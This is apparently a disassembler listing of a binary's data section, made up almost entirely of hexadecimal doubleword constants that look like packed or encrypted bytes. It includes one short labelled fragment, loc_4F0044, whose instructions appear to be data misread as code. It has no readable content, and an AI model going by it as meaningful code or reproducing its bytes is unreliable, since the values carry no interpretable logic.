dd 0C4DC6732h, 62828152h, 0B6417DDBh, 892DCE97h, 265B10h
dd 925D27BDh, 0E0F58171h, 5CF2F66h, 4DCD9AA0h, 417FB534h
dd 161309F2h, 0AE1FC7h, 0BE5647FCh, 2F2121Eh, 49E94E0Bh
dd 0E7E356F7h, 0D4EDC5C7h, 5D8BFC9h, 59A7CF14h, 3168F5C1h
dd 0BB93607h, 740F4608h, 412C06E9h, 0CB147AEEh, 5AD28359h
dd 625877F0h, 5BDD5E7Eh, 0E917315Ah, 61659BADh, 3B19A5ABh
dd 68392CFCh, 0A66C5AF5h, 0DBCA16D4h, 0FC78B5E2h, 6BCDBEC6h
dd 0B546C754h, 0C5AC802Bh, 4293D1h, 49C65BFCh, 0D00B435h
dd 0BA2D30C4h, 976745E2h, 0C7041389h, 0F8B9003Fh, 0B8354815h
dd 6F45008h, 2C310BC7h, 0F6CA3EA7h, 57590800h, 46BA4568h
dd 0B70E90Bh, 66465D01h, 50398497h, 0E99171BAh, 4E1F3806h
dd 0E41E5AF8h, 743C8B7Fh, 6A1318DDh, 13BF884Ch, 5190DCF2h
dd 6DF4E70Eh, 0F7811D08h, 59F10E42h, 26A2FB70h, 55194Eh
dd 0AE0558C7h, 684AC123h, 7415DB8h, 83743C7Bh, 9D247282h
dd 30CF22D9h, 13AACB5Ah, 657DC91h, 0A5BE39AAh, 0E12673FBh
dd 63B46CE9h, 9696DFFEh, 97595AF0h, 0F0BD93ECh, 7D50A0CAh
dd 52BD2870h, 2D940BE2h, 3CD647ABh, 0F50DF43Ch, 1E7B5A63h
dd 153B1AC0h, 80CE3198h, 7DD499Fh, 24B9153h, 7BD80C34h
dd 0C3F027C2h, 7E576812h, 10F04160h, 30D6B519h, 61585442h
dd 1C644F2Dh, 62789D89h, 955CE624h, 9244C2h, 942306BEh
dd 4CA9665Ch, 38611C7Ah, 318B55C9h, 0E42A5216h, 8B9E075h
dd 35685160h, 0D982D60h, 52738E0h, 0DFB0C576h, 5A031EA0h
dd 296C5C16h, 0CA81EA00h, 76DA6A11h, 0D5E21F77h, 3F0EDF68h
dd 31039A81h, 38A1E90Ch, 395B2B65h, 46017AA4h, 5A51C34Fh
dd 1B1D9C70h, 0C2C4801h, 33597EF0h, 0E60B96B9h, 0A56BDB1Ah
dd 3E100257h, 74EDD5AFh, 1DD9B488h, 96328B57h, 0B5611675h
dd 9C55E7E2h, 68CF48E9h, 11A6FBB4h, 0A2E2E90Dh, 0C0803F1Ah
dd 0ECFDA871h, 25DE7E89h, 0B946D8D1h, 0AEF40245h, 0EF51D3FEh
dd 1360E660h, 17227840h, 4488E9F7h, 0FA875B34h, 68C352B2h
dd 0FA8459C2h, 8B9256E3h, 0DBE91615h, 0FEAD044Bh, 0D2770559h
dd 0F4FF1E03h, 688EEA03h, 43545525h, 90AF2944h, 0C6BE9EE0h
dd 0AB40256Bh, 0F40FD5EDh, 0D59DCCECh, 0AACCF6A3h, 408AD45Fh
dd 9944CFF1h, 0D84BEEB8h, 5002FC85h, 3AE96894h, 0A01B0970h
dd 0D48C8D2h, 32165BBBh, 3800211Eh, 2DE535A9h, 41E99529h
dd 2FFAF5E9h, 2441068Ch, 0CBD30106h, 94111A40h, 0CE0C1560h
dd 3D7DE026h, 1449C4E9h, 0F355F017h, 62CC19E1h, 0CBDDE211h
dd 7E72D07Ch, 16CD4FFBh, 5C25EC79h, 0F8E9A033h, 0EC1B9244h
dd 4F09B5B8h, 31ED3057h, 5FDF90C2h, 5B15E3D8h, 9CAFF133h
dd 26C4FE07h, 0F6F704CCh, 2EAEE6DFh, 8275F54h, 0F72776A0h
dd 5B4490A3h, 0F24069A2h, 8200352Fh, 0FF25483Eh, 0BD71C74Bh
dd 800EBF9h, 4A1CED0Dh, 0AD35055Ah, 0C2331985h, 135F4BF3h
dd 81E4C1F7h, 1269253Fh, 5BFD40C0h, 8853CDFEh, 0D3F6EB1Dh
dd 0C017062Eh, 1FB6113h, 0F58055A9h, 0E9ECF47Ch, 49A91035h
dd 177A10BDh, 0A2010258h, 25D51BDCh, 5251895Dh, 990D284h
dd 0CB34809Ch, 0EF240BB7h, 97035003h, 4345270h, 8547FB18h
dd 80C51F29h, 80C2462Ah, 84D30915h, 0E970AF6Ah, 20974187h
dd 0C54AF7DDh, 1F62ED41h, 0C807F89h, 0AFA398Bh, 50BCDA01h
dd 0E2389002h, 23934825h, 2629FD0Ch, 0FECEECBh, 0EF22E91Ah
dd 0B0718310h, 0C629B807h, 48E99558h, 13106C39h, 37E53159h
dd 80412BECh, 0E69FF1F6h, 1883212Ch, 0CFEEE904h, 4BF78EBAh
dd 407321BBh, 0F74800E2h, 1B2D01D0h, 29BFD421h, 84B33EC1h
dd 39D5A192h, 0C330E19Ah, 975F0B60h, 0D01EE7ECh, 0BA863831h
dd 30A3208h, 5E11EA81h, 0C2C7414h, 400943C8h, 82087D29h
dd 0B0C3408h, 93875F14h, 23E773FEh, 3CC12A79h, 2AFB7EB8h
dd 0E9DCA82Eh, 4684A769h, 15D01B4h, 526658C3h, 6545EE4Eh
dd 80D2BB02h, 7FB05D53h, 0D282B3B9h, 0CBC8B6DCh, 8EC16557h
dd 501079D3h, 0DE13ED17h, 25C701E5h, 0D52B50F7h, 2880E199h
dd 3ABD518Fh, 29E924F1h, 0F02A9D25h, 0F70681B6h, 68F04AC6h
dd 1797170Ch, 0EA940BD7h, 0CC6157Ah, 84FC143Dh, 0E90880B5h
dd 0EB56B5D2h, 2F935347h, 2CC56076h, 0F00797EAh, 0BB385868h
dd 0CA25BB65h, 0CDBF8C13h, 0F1942D4Ch, 9C710288h, 5B0B7338h
dd 244B3C86h, 87D874E2h
dd 0F4C3682Dh, 0ED036F2Fh, 5990082Fh, 0D86491E9h, 18B9D1A7h
dd 7328F180h, 80BF5A6Ch, 7929C999h, 1C1261CEh, 0F6CFFD3Bh
dd 0A07C8B57h, 8F26058Bh, 0ACB84BE1h, 16355AA4h, 0FEC552ABh
dd 32BBA202h, 3A20FF46h, 6A27DAC6h, 9C81FE5Ah, 77305551h
dd 62B09C39h, 8001B930h, 0C2CC6CF1h, 0F0CAE0AEh, 836BEBEAh
dd 18090224h, 76D03048h, 0C39CBC97h, 0C7CA3945h, 6956E92Dh
dd 9FCDCC2Fh, 0E950115Ch, 0A3F754DFh, 833FF1Ah, 0B38AB206h
dd 985CD3h, 0B7EB0ACEh, 0DE160EEFh, 0C9A8F54Ah, 36B5D000h
dd 0E8DCC580h, 0F619F6E6h, 0C848410h, 0A6E8280Eh, 0A14818B6h
dd 0CB69C6F3h, 0A755C06h, 40B3199h, 644776DBh, 0FFBB490Ch
dd 7FF26046h, 470495Ah, 0BC6E1768h, 13306014h, 0E92E25B5h
dd 2D82A765h, 0C2630BD8h, 0C264D493h, 0E5DFD97Bh, 13E9ADBFh
dd 0A8740463h, 36105AA8h, 24BD00D6h, 8114EE1Eh, 7B4B38CDh
dd 0C1456884h, 0C54080E5h, 402552E3h, 937BD476h, 0B81EC01Fh
dd 7F3E22A3h, 5832D42h, 20EB5A8Eh, 983B3AFBh, 5BB5948h
dd 0B4DE237Ah, 0F89544BAh, 3A8CAF53h, 60D84150h, 370F5CCBh
dd 82567817h, 0C601191Bh, 0B28D20EBh, 0D48BA05h, 28C116E2h
dd 416B2578h, 497B712Dh, 93DCEC35h, 6ED98B5h, 23C22F37h
dd 0D00E117Ah, 0C051B557h, 0E40242E6h, 9EF6B622h, 7572D80h
dd 1C4D0D9h, 0DC66CFDh, 0CB585F2Eh, 5CDE2C72h, 855F2310h
dd 1737EB0Ch, 25D79CE3h, 87D55DE2h, 88B2C813h, 404C76E8h
dd 78E5061h, 19CA8100h, 0F71FCD0Dh, 2C7E97D2h, 0D69D8239h
dd 89898B56h, 0E4897722h, 2D8746D5h, 0EB8012E9h, 6536F681h
dd 0A570F33Dh, 0D5F16279h, 0E9C1F779h, 1193DD19h, 0DFAEE8EEh
dd 0D61E0F4Ah, 1D34F88h, 0FA2F20BDh, 0A5F22A13h, 0C07E5F58h
dd 4D5EBD65h, 0D2A15051h, 5C8050A9h, 2DF0C601h, 82AAFE48h
dd 61F33078h, 0F913A4D6h, 3B32B8B9h, 0F2FCED89h, 0B96AA3Fh
dd 1FB47FC5h, 7D4F0DB0h, 0BD0BC7A7h, 3F602160h, 0AC923474h
dd 0A320D50Fh, 90DB4607h, 449AB414h, 0EA9AD586h, 0B1B71637h
dd 38834004h, 87C40D9h, 217FF388h, 8F77265Ch, 0C28AED33h
dd 4889280Bh, 9731CAA0h, 2F889466h, 6D058DC3h, 866834C8h
dd 7DEE44AFh, 0D77ABC94h, 6A1995ECh, 80C5479Eh, 0E63BF566h
dd 3DB95115h, 0C8363D5h, 6356849h, 0E5D2493Ch, 0B0AF6E0Bh
dd 381261CFh, 3F002AB5h, 37E862E0h, 46DA60F7h, 0DE8CCEE1h
dd 0FCCA312Dh, 0CA515A17h, 0BF7C69h, 15424A67h, 54BE0BE9h
dd 58E8F625h, 4F48D168h, 21FFD6D1h, 81D99508h, 4C17B84Fh
dd 147034CAh, 0A8E2775h, 600BC0F4h, 2BEA9094h, 0EEE7330Ch
dd 11E9C0B6h, 28F6055h, 578F3913h, 0FE90AED7h, 0F0064179h
dd 39EE4DA1h, 7CDCF602h, 84C34BC6h, 5D7E12F6h, 1025217h
dd 0F1E76616h, 2A270C20h, 57651058h, 9DC39C51h, 0D4F3E068h
dd 0B1487D19h, 54AF100Ah, 4D515A2Dh, 0D6D3D162h, 5D1B8A07h
dd 83C49Bh, 0FC30AAB4h, 962CEEE9h, 31264EE9h, 0C51E56D5h
dd 60BC1642h, 238A870Ch, 6DC4957Bh, 5B55BF82h, 4DE9C184h
dd 7D739A9h, 31A337DFh, 13AF5AB4h, 0E41EA28Ah, 6A8AC501h
dd 0E9420322h, 0B8E468E6h, 800A3B96h, 1B2E2D02h, 72D80238h
dd 43B0E2B8h, 0EBF00B28h, 1912C809h, 0CB7F45Bh, 0CD6F9129h
dd 71238303h, 0EADD877Dh, 418577FCh, 7934FE52h, 84E97020h
dd 410F9CA8h, 7ED0215Ch, 0C893D4E2h, 4282C5AEh, 1012406Ch
dd 5D273B8Ch, 161B3600h, 0D9B9E937h, 1EF0FFA6h, 7510C16Bh
dd 0B3E13433h, 0F7B9A401h, 4D6CCB04h, 3CD2A987h, 0C99AB395h
dd 413AAE46h, 0BFE5A386h, 0ADF12A14h, 0F5015A39h, 4DC71577h
dd 0BED0D2E9h, 0E097B72Dh, 0E03C0493h, 912C74C8h, 525360D9h
dd 0E913BCB6h, 0AD6158E2h, 242FBB75h, 2ED78264h, 9D2A33F6h
dd 0B69676F0h, 7BC86804h, 4BD58AEFh, 5528A1B6h, 8B65979Eh
dd 34035613h, 0E95D4BD0h, 163B13E9h, 0E13FFC06h, 0E628D01Bh
dd 5D80180h, 3C246F74h, 8C179329h, 0B86309C4h, 0D12099B2h
dd 2DEF7661h, 7FD45A1Eh, 58477F7Ah, 0E471D4A5h, 5F45FF21h
dd 3BF3D868h, 0ABDE5427h, 0F503557Ah, 8402F53Fh, 0E42A90BEh
dd 164D7603h, 0C71AF35Dh, 0BD12E9F7h, 47A255D1h, 0FD09DE84h
dd 0EC511949h, 0C895F5CBh, 83AAE3E1h, 6F0CFEE1h, 3F60E2Ch
dd 7B353D1h, 81DFE3C0h, 0BDCBFED3h, 0B2520F0Eh, 0D0C2016Eh
dd 0D7C980EAh, 192E228h, 0F6E9D345h, 54CCAFD5h, 0DF80721Eh
dd 0C23AE940h, 5B938DDDh, 0B6BEFCA0h, 6F0B6000h, 0EABF783Dh
dd 550809C6h, 689545C6h, 0BE99E988h, 0B92D4452h, 238D40BFh
dd 0AA307A41h, 0D9534F34h, 48F96E1Eh, 0AD83EC5Fh, 807BDE60h
dd 801CC7FEh, 0AF163E7h, 0FAFCD7F6h, 0CD917Dh, 180F14C0h
dd 0BC9C2BBh, 4A90CC31h, 0DE25BA01h, 0B05F61FBh, 0E6800CEh
dd 3F269351h, 0A9F41416h, 0F285D65Fh, 9F5FB228h, 8EA2BD9h
dd 0F1E71813h, 4A74F860h, 0E9277983h, 0E84562ABh, 96367E4Eh
dd 1304E923h, 0B5B80087h, 9756C322h, 0FA29A500h, 744A5468h
dd 596CAF30h, 0F55895CDh, 0F5C94913h, 81095E52h, 22B675D1h
dd 6858D3C1h, 0C58956EFh, 57DE1D01h, 0B4147FC9h, 0BDCE549Fh
dd 7ADA02F6h, 0CD09B0BBh, 3FA34441h, 14EE2B74h, 0F8274DEFh
dd 0E7884D83h, 321D7812h, 0F851C1C8h, 81535BF9h, 503DD8B1h
dd 4E793F83h, 18761148h, 0E90F4205h, 76E8BAE0h, 0B4D62048h
dd 81AD58h, 2A784A82h, 5428E2Dh, 0C829325Fh, 59070F05h
dd 0B71C9CA1h, 0AF8D307Ah, 34A20809h, 0C1936229h, 0C82A9174h
dd 361DFF35h, 0EB8B081Ch, 39AED460h, 408D662Ch, 0E24947F3h
dd 59530616h, 28C29D19h, 589A093Ah, 3BEFF6E8h, 6F708081h
dd 4C56EFEh, 44AEDE7h, 9C8881EEh, 128E3A49h, 46DD6809h
dd 0E0649CFEh, 0C2326EB5h, 5160715Eh, 0EDC5205Ah, 45789D0Ch
dd 17F90C4Ch, 45E7550h, 8403F357h, 7594FB44h, 21C081Ah
dd 54F4E914h, 9CD72D28h, 25EF8130h, 0BF4A9D28h, 0F6AFE264h
dd 461625D6h, 4AC00982h, 48554353h, 2FE957E6h, 41DC7B45h
dd 0F09855F2h, 0FE9DE173h, 9329440Ch, 38E8BB56h, 4B75A0Eh
dd 93813567h, 1E3E2C60h, 5DEFC978h, 27D46E00h, 12E757Bh
dd 160061CFh, 251BE835h, 0D731076Fh, 0F1CD0D36h, 0C4051EDCh
dd 56129EF6h, 412C729h, 905C46E0h, 67420926h, 39860302h
dd 7BF486C4h, 0D432C26h, 0DED3890Bh, 95A160Fh, 325746EAh
dd 710B81B7h, 66B19E9h, 56415FE4h, 0D609790Ah, 1603A64Ah
dd 5E13C72Ah, 0EFD5530Ch, 0A4048D02h, 6364C17Ah, 76004339h
dd 2D2E6450h, 975C27ECh, 2F6F1061h, 0AC253958h, 5E531102h
dd 0AA939E64h, 0C9EED10Ah, 0D45F1109h, 0A0027392h, 27993BCBh
dd 8D117F29h, 11407FA2h, 105638C1h, 2DF0ED1Fh, 3AC2722h
dd 883ECDAh, 0F8141C45h, 272E0219h, 0D2429752h, 820DF147h
dd 29332DFEh, 39E4C455h, 75A65157h, 58C8101Fh, 42542507h
dd 86965512h, 0F6BA3620h, 46C50BCAh, 81862BEAh, 0C207173Fh
dd 29AD14A6h, 2FB47B2h, 33DA5F59h, 2BAE5730h, 3DAAB6C6h
dd 2197FE7Ah, 0A105ECF1h, 3D2C4313h, 12E4DAC4h, 53F13EFh
dd 91F60FADh, 732B2D52h, 56522DF7h, 81EAC50Dh, 3C18DDBEh
dd 0E50C2D90h, 668BCC8Ch, 3FDB598h, 0CBC2ACF7h, 733783Eh
dd 940B2DBFh, 0A4BEA414h, 548E046h, 0E621BF1h, 0E77E1372h
dd 8975F97Fh, 0FDB0F54Dh
dd 0B3A86441h, 0C382310Dh, 0A12BB9FEh, 25F2A1A5h, 76EC3609h
dd 25F5EC5Dh, 9CD12BEEh, 0C0EBBE96h, 0C706890h, 49F17B9Fh
dd 0CF8248CBh, 5D147FFh, 0A3506D68h, 2F2D05FFh, 80EA1830h
dd 0A37A5304h, 0F88414EFh, 8D3316BFh, 84D23803h, 1EEC6B23h
dd 0AC8BEEE4h, 0BE508C5Ch, 0A1E46037h, 8D0968F5h, 0C180166Eh
dd 3D804532h, 0CEAF806Eh, 0C2627FBAh, 0E8CDE98Eh, 0A1C5B001h
dd 0A33BDEDDh, 438B27h, 0CB4CFD58h, 0DBF73078h, 5807E510h
dd 371F5260h, 0BFE7F80Eh, 0D4F18B42h, 5463E941h, 37F44FADh
dd 60C2F381h, 0BC6B4BD4h, 0F5FC1A62h, 5D8E5DC8h, 954DDE6Ch
dd 385A3114h, 55BB00A9h, 0CAE941B3h, 7B94B584h, 0D6138192h
dd 520F9951h, 0E44E5097h, 410E71EBh, 0C6C14C35h, 13144203h
dd 1ECF2ADh, 256DED85h, 0D566300Ch, 0B47051B8h, 82A67B7h
dd 1A2B21E4h, 0CC535689h, 0AE954D5Eh, 2096E24Ah, 0D788270Ch
dd 0F1EA46F0h, 0EBE8E91Ah, 891035Dh, 6EC7C483h, 37C006B4h
dd 4ACF2DEAh, 0A100AE2Fh, 1CB61335h, 0C07C4FE9h, 610268F6h
dd 4921F195h, 6E64557h, 0AEEFDE9h, 84FC4CB5h, 0AA0DD71Ah
dd 0B3648671h, 4AE2E824h, 816AE805h, 6EB26D4Bh, 814F906Ch
dd 7EE04CA8h, 0B15A4CF6h, 622F7AFEh, 3B1A502Ch, 0B5D8C04Fh
dd 0D55CF6BFh, 0EFE0757Ch, 0C7065976h, 3093E9D0h, 0C8DF32D9h
dd 0ABD9532Eh, 300F45ADh, 3F616807h, 38F33BC5h, 0D6CB08BCh
dd 43959DE6h, 80F5CA4Ah, 83054257h, 0FE013C10h, 0E08EE28h
dd 64BB685Fh, 1F9DEA12h, 1D8B3880h, 0DE01564Ah, 84080982h
dd 5EBCDB32h, 5AF2F293h, 0E83AA2B1h, 0E76C8D31h, 4663BF40h
dd 5A227B8Bh, 314304A1h, 0A450FCF0h, 1E5FFF80h, 0D1331329h
dd 9404EBE5h, 4BC485E9h, 1E8AA58Ch, 0B77F5B30h, 256CC511h
dd 0F9B6740Ch, 7FF84EBCh, 9DE90805h, 0D89EE71h, 1038DA2Ah
dd 2925A214h, 0A9012950h, 5E2CC151h, 112EE821h, 0F512CD42h
dd 7344F2C7h, 1B24E758h, 0B357CF12h, 0D1FB5949h, 531F553Dh
dd 0E33001BBh, 2BD9896Eh, 0CECB080Eh, 159C5DDh, 4A97A2BBh
dd 59F9C68Ch, 54A1F5E0h, 0ED8000D1h, 0EA202498h, 9ABF3942h
dd 45554E7Dh, 0B5F16C69h, 98B2F5B4h, 0A5965A53h, 0A0F75B64h
dd 0DD2A191h, 0B43FE8B1h, 5B7589Dh, 2EC25486h, 4949F6C4h
dd 5392DE79h, 0AA8394EAh, 0CB7FDE2Dh, 31884CA8h, 5B5432F3h
dd 0E9C2F762h, 770B3D05h, 8F324F4Ah, 3D282283h, 0C0E96CC8h
dd 3D284D4Eh, 28544020h, 8C89E3B9h, 0CA05B3D8h, 4A3678BAh
dd 68C92850h, 2174312h, 7C13BC0h, 9CF0B746h, 80C05B4Fh
dd 0E65FFA31h, 1EFEB5D7h, 0DAFE8951h, 9825FE7h, 777C589Bh
dd 0E0F2C0F2h, 27409BA7h, 206CA9D4h, 11BA4DF8h, 25D0BD89h
dd 56CD409Eh, 19002C6Ah, 68ED4250h, 9D08DD2Eh, 49E3D925h
dd 73D40577h, 0A23B78B1h, 3DAB9709h, 92B37A03h, 0F0FEE95Fh
dd 9EF701E9h, 0C85A65B8h, 6A56E38Fh, 590213C4h, 21053BE3h
dd 0EF2B7570h, 1CCFA700h, 49E94A44h, 0E35E2B67h, 0FC5D98DFh
dd 0D8E5C9DEh, 0BC1D487h, 78698F7Ch, 198E95F6h, 0F9EEB4A9h
dd 0F9843095h, 3AED27E9h, 0A7BC0A59h, 53F58091h, 0B637F768h
dd 3B5B5176h, 5E07DDA4h, 76578D28h, 0FBE8141Ch, 73E865Fh
dd 2CF10393h, 413FE502h, 90322820h, 0AF5F2569h, 0EE7ACE18h
dd 0D5A072B4h, 0E0534696h, 60A67479h, 41FD584Dh, 5E9D78C2h
dd 0BE56800Ch, 38F23731h, 0F0BBFEA0h, 0E914A404h, 9DA63915h
dd 0B98B472Dh, 0DC25C2D8h, 8345F178h, 524E492Dh, 50044C2h
dd 1617E320h, 2C0C8B5Bh, 37025D15h, 0FAE969C3h, 52A975D6h
dd 6B81388Ah, 0B1EAF773h, 0F6B83C65h, 31E9C944h, 70BE5BEh
dd 0D85EA7C5h, 8107C0CCh, 9F2778E1h, 0C9EED8B8h, 70697C0Ah
dd 0A009910h, 9D9C6FFh, 9D5950CDh, 40AA0FEDh, 0C352C23Eh
dd 60FE656Bh, 2C6BE05h, 0B5834814h, 4B928F11h, 6A6804Eh
dd 5C30F920h, 110C031h, 73BF1F2Bh, 81C77A5Eh, 0A20E6EFh
dd 0BC46E930h, 2C58AD8Bh, 5BF3CA63h, 0BE4E045Ah, 0A846BA39h
dd 2523B3Ah, 430E245Fh, 13607E29h, 251E6107h, 0C1742CE4h
dd 2CB97673h, 1127C379h, 26CA0D5h, 292B913Dh, 6AD7CD29h
dd 204825C5h, 1B9CD3E9h, 721C681Eh, 541C7525h, 0C2397695h
dd 580BC443h, 37542CC2h, 0C1702793h, 0A4C8B10Bh, 7F89F7A6h
dd 3563DC56h, 0ABA75AD8h, 0DA08D905h, 0BDF56BCh, 4757010Ch
dd 0FC1418C1h, 59251806h, 0EA145528h, 6CF1F99Dh, 1B9EFA66h
dd 3116EE83h, 0F8CEDA23h, 2FB905AAh, 0AF71BEA1h, 3BFE112h
dd 2E95B2Bh, 0D9AFB4BDh, 9932F03h, 0F57ADE2Dh, 46E3E0C0h
dd 244F5C84h, 0F107A37Ch, 3980FF75h, 607C6857h, 34900DABh
dd 0FB29DFC7h, 0EDA87274h, 62BDBB07h, 5A81E956h, 309520EEh
dd 1541B14Fh, 880EF06Fh, 2558E52Eh, 7AED793Ah, 87F04916h
dd 0C968125Eh, 92228C26h, 7C7D4070h, 0F96B7527h, 1B8E9A26h
dd 0DEEF487Dh, 52A8945Bh, 6858C920h, 2DA85564h, 79F45250h
dd 52AE272Eh, 0FDB8073Ch, 0E9123E5Fh, 6C0B7D71h, 29EBB8DDh
dd 5490862Bh, 42377E02h, 70B5E934h, 13505F49h, 1024B3A3h
dd 3116B222h, 0E9802CC3h, 12020E24h, 0A03C9CC8h, 40CAB5FBh
dd 69EB20D1h, 0CC3F54E0h, 5612F532h, 8DAB1EBAh, 6D7D6A4Ch
dd 1E0A2C7Fh, 25F6E840h, 458386D2h, 0E82E6681h, 21849CC3h
dd 36811C5Fh, 3F6D0A78h, 442DD1E4h, 77062C6h, 5A7B060Eh
dd 0DEFCEFB5h, 9001EF4Ah, 0A0C99EA6h, 9F6DE4F4h, 7DF48369h
dd 0B6EB033Ah, 2645870h, 0B93E8D0Ch, 0E275015Fh, 58080BBDh
dd 0DA5701C3h, 127EE93Ah, 25216B01h, 0A507FD4Ah, 0C64CB87Ch
dd 13190EE1h, 255F5EF3h, 0BCF3BAF0h, 45D4F513h, 0FB4D513Dh
dd 4B763BDAh, 0A5CABDEAh, 0AD4E9BECh, 15B8809Ch, 987BAD4Fh
dd 5FC43331h, 88BAEF8Fh, 0E681CC68h, 9C1D7D0Ah, 0C710AA29h
dd 0D87BB38h, 1CBF716Ah, 0DF5F310Bh, 612BA58Dh, 6758C3A6h
dd 0FB5B7A63h, 98D5C6E8h, 38167202h, 20DD5A2Eh, 0E98AF21Ah
dd 0FCD14AC7h, 29169E29h, 42129F52h, 28D8AD01h, 61F41DACh
dd 73BA9E5Ah, 22A064F1h, 76FA924Dh, 54B59477h, 29ECF816h
dd 0EC626DA2h, 2D7F29FDh, 0E27F2016h, 18D949D4h, 47B2C13Eh
dd 0BCF70581h, 0D716C469h, 0BFE024B9h, 0C0C069E2h, 0B05007EFh
dd 38F8B14Ah, 0FDFCC35Eh, 8006E1E8h, 0C826E93Eh, 1B3875E7h
dd 65EA5ABAh, 0E0ABF909h, 0C0D1FBE9h, 62F5F317h, 50B89E52h
dd 2468CD40h
; ---------------------------------------------------------------------------
loc_4F0044: ; DATA XREF: ___:00438124o
mov dh, 50h
lodsd
retn 0C0D9h
; ---------------------------------------------------------------------------
dw 665Fh
dd 50D19F43h, 30C2B288h, 960A844Ch, 0CDD8805Fh, 6FED605Fh
dd 0CA7A71EEh, 10EC7648h, 0B90496D0h, 0BBB8622Dh, 525D5BD1h
dd 1484E768h, 0FD310735h, 57A08575h, 59827EB2h, 0BB06EEB9h
dd 4CAD21CAh, 0AC48773Fh, 46079474h, 0A52EA11Dh, 60A4AA03h
dd 7D54C87h, 3FD8257Bh, 246F9656h, 5E09C54Bh, 6805CFC6h
dd 74257AE7h, 29EB0880h, 5ECD0B67h, 76E1BFE9h, 4F107E5Ch
dd 4FB3D0C6h, 0E1DC6D15h, 337994E9h, 0CC70A112h, 52B0311Ah
dd 0DE01394Bh, 677562CAh, 0B17B960h, 29702D65h, 5EF11460h
dd 4F920516h, 5AD99BBAh, 0A4972DBFh, 63099A08h, 0F1618B2Fh
dd 0DEDC38CEh, 9D590C40h, 39550048h, 0A53EA027h, 22E00AADh
dd 724D07B8h, 0B4482377h, 34EDAC90h, 3CC47F68h, 89A89091h
dd 8413343Ah, 0BB6FD5D3h, 0E22F5C39h, 0A75A2438h, 0A44FCF0Eh
dd 0AD801C90h, 173F748Dh, 12F831E4h, 0E93D0252h, 37F3FCDCh
dd 0DFB493BDh, 688A1658h, 32025EC4h, 0CEFF5F10h, 0E33020B4h
dd 1EFE0130h, 2A7065C6h, 97F4414Dh, 0F232E5CEh, 84D631E4h
dd 0B2CCB2BDh, 1D69BF42h, 6F6BCA5Eh, 25195CD9h, 38252171h
dd 0B58724BDh, 49125152h, 2926EB53h, 0B28D642Dh, 0DC40775h
dd 16E96B3Bh, 0B802D3E8h, 1C3D661Eh, 9855C196h, 9A058176h
dd 0AA4FE56Bh, 9961FE07h, 0FFED83C0h, 0D0165FE9h, 7B1C95BFh
dd 65D20864h, 405D15D8h, 0E803D1E2h, 0EA20B725h, 2FE44D10h
dd 0C922A25Ah, 7097DCC5h, 14200AD4h, 0F0682778h, 96750CC8h
dd 0C0E31D3h, 98010BEDh, 53193EFh, 0DF095975h, 2892045Bh
dd 8EC3AB07h, 67FFE4FCh, 8F56A202h, 83CA1A75h, 51B5EF1Eh
dd 0BA0029D7h, 612E3109h, 4F510C13h, 0D3D07095h, 63A8324Bh
dd 49C9BA96h, 0C14279F8h, 0B568EB1Dh, 14CC6B17h, 67CB5895h
dd 16245989h, 2E6DE16Eh, 1A10E8E7h, 595F26BEh, 0D60CFE1Ah
dd 4609BC83h, 0F90F545Eh, 0BBA01E87h, 435AC650h, 1520B785h
dd 4F2B688Bh, 804DAC2Fh, 515FCEEh, 486B9034h, 16049D0Eh
dd 0EAD91CE9h, 0C4EE2F64h, 1BC9B3D2h, 1E25163Dh, 9270273Ch
dd 0BDB9F0DAh, 0AA106F00h, 0F7E5D122h, 0EC6813D5h, 41E2CD2Bh
dd 3E1D5468h, 2D50DE14h, 256BD9B8h, 485A1FDCh, 5BE95505h
dd 8097C389h, 65E3CCBh, 662D2CBCh, 65EA055Fh, 6468AF90h
dd 0D2175C38h, 8AE62D2Dh, 2F81505Ch, 5809090Bh, 60CD3DFCh
dd 44D52112h, 0EF5FF9A9h, 473CE3D0h, 0BC454E55h, 67EBE55Fh
dd 2C1725Ah, 0F42DB667h, 0BDA0BD38h, 44557EA2h, 18365DBDh
dd 0E06B875Ah, 0FB5E11E1h, 0A82060B0h, 203498CFh, 5A096D39h
dd 3961C968h, 69675C2Ch, 3BDD392Ah, 0F69A45B1h, 0EA020E8Ch
dd 68186DC7h, 295B4F38h, 0AA801F4h, 79DDC253h, 9E4AE259h
dd 20C21EFDh, 7B98EEF9h, 0AF6EF50Fh, 0FB196464h, 9139A7BFh
dd 0F8E983A1h, 910987ADh, 8C80818Ah, 4A9F545Dh, 3858428Fh
dd 45C4738Eh, 0E0C2D301h, 0E8ABCBB5h, 13FF05B9h, 9DD096Ah
dd 0E6D87424h, 532830BDh, 2C683851h, 28FC7831h, 0EEC18121h
dd 160A15Fh, 1DB90270h, 0D370DF5Eh, 80B10F3h, 7F100B58h
dd 5BB58EFh, 6C69642Dh, 0A52816C2h, 63AB50DCh, 81F951F7h
dd 0C16997C0h, 0F97AC5EDh, 0C4D1D47Eh, 0EB8B1296h, 4E5C9668h
dd 0BEE641CFh, 407F7E5Dh, 0F762A8BBh, 53E91C0Bh, 0C23A5FEBh
dd 0B7EA884h, 0EE34E031h, 436E2411h, 10CE128Fh, 0F04308F0h
dd 3D196285h, 0F0B700FEh, 0C8C18EEFh, 46924B84h, 74C0E082h
dd 3A5E38EDh, 2008513Fh, 0EEB5B0A9h, 62C2F663h, 5E58B8F0h
dd 1B4140E0h, 173511Dh, 820D8ACh, 205DECB7h, 89245694h
dd 2910A1C1h, 1DAF717h, 761D4AC7h, 0E3F2D86Eh, 1E955C19h
dd 0CD60FF0Ch, 9224C14Dh, 2B5B9D24h, 0CEAE0DC4h, 961D5897h
dd 0A0F5FB22h, 1499BA88h, 0B80B1D3Dh, 58F061Bh, 3E84831h
dd 0CCFC514Bh, 0D30E9774h, 0D712BDF3h, 0C2A4A4E8h, 0B055FD56h
dd 80D1141Bh, 7C9DD388h, 0B1DCC7EEh, 0FD5158E2h, 2008E1D1h
dd 7B405268h, 42602568h, 0FD00BAC6h, 0BF4CAE38h, 4C5F6E8Ch
dd 0BB5B556Dh, 0C2FBF524h, 39F0E65Ah, 6E1AB62Fh, 84F8982Dh
dd 0B51B3885h, 4A2EFF4Ah, 0B144E84Ah, 0B058437h, 0CA78AF02h
dd 0F8E6C125h, 0EC30F59h, 0A4CBF677h, 5725267Eh, 0E97D4A9Ah
dd 0E3CC019Dh, 3E0CC4A4h, 0A0E7FF20h, 884ADE39h, 290BBF8Ch
dd 825F8D3Ah, 2F2B63Dh, 0F85257h, 60F4C9F7h, 514BCAB0h
dd 78535E88h, 0F5525F22h, 16080577h, 21BF4160h, 644E5DEEh
dd 371C6C0h, 0D477CC32h, 0AF607F04h, 0AD5B5F80h, 9C253F4h
